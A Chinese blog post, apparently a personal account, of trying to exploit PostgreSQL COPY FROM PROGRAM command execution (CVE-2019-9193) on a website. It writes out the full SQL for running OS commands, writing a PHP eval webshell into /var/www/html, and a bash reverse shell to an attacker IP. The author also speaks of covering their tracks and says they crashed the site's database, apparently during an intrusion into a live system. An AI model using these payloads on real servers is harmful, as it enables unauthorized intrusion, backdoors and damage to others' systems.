前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一次失败的PostgreSQL命令执行

一次失败的PostgreSQL命令执行

作者头像
kam1
发布2022-03-08 13:52:27
1.8K0
发布2022-03-08 13:52:27
举报

0x01. PostgreSQL是什么?

从SQL就可以看出这是一种数据库,现在学习安全起步基本都是关于MySql的操作,关于postgresql、mssql、Oracle等数据库应该是相对比较少的,这也是kami第一次接触PostgreSQL。

PostgreSQL是一个的开源对象关系型数据库系统,使用和扩展了SQL语言,通常带有C、per、python扩展语言。Postgre SQL还具有高度的可扩展性,比如自定义数据类型、构建自定义函数等。

0x02. PostgreSQL命令执行(CVE-2019-9193)

从postgresql 9.3 版本开始,PostgreSQL实现了COPY TO/FROM PROGRAM这个新的功能,它允许数据库的超级用户以及pg_read_server_files组用户执行任意的操作系统命令.

因为只有数据库超级用户和pg_read_server_files组用户可以执行系统命令,所以第一步要先看自身的权限是否足够。

SQL语句: select * from pg_user

上图可以看到现在是postgres的权限,也就是postgresql数据库中的超级用户。 条件满足,那么可以复现下去了。

代码语言:javascript
复制

首先创建一个cmd_exec表,然后通过"COPY TO/FROM PROGRAM"执行命令

删除并创建cmd_exec表:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);

命令执行测试:
COPY cmd_exec FROM PROGRAM ‘id’;
COPY cmd_exec FROM PROGRAM ‘whoami’;
COPY cmd_exec FROM PROGRAM ‘uname -a’;
COPY cmd_exec FROM PROGRAM ‘ls’;

查看命令执行结果:
SELECT * FROM cmd_exec;

写入一句话木马,依然是利用copy函数,将数据库查询结果copy到指定路径.

代码语言:javascript
复制

DROP TABLE kami;

CREATE TABLE kami(t TEXT);

INSERT INTO kami(t) VALUES('<?php @eval($_REQUEST[1])?>');

COPY kami(t) TO '/var/www/html/temp.php';

在当时环境中,写入失败,原因是数据库的权限只能操作数据库的路径,跳出数据库的路径就会执行失败。 当写入文件失败之后,又尝试了一下使用bash反弹shell。

bash -i >& /dec/tcp/攻击机ip/攻击机端口 0>&1

但在执行bash命令的时候,数据库因为没有执行bash命令的权限而报错了。

后续又尝试了一下利用扩展语言如python反弹,也失败。 思路不足,几次无果。 清理痕迹,暂时放弃。

执行命令:

drop table kami;

于是数据库就崩了,数据库一直在处理这条命令,直到我第二周打开那个网站,看见页面才知道,数据库确实被我玩崩了。 哇的一下就哭出来了。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-08-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01. PostgreSQL是什么?
  • 0x02. PostgreSQL命令执行(CVE-2019-9193)
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档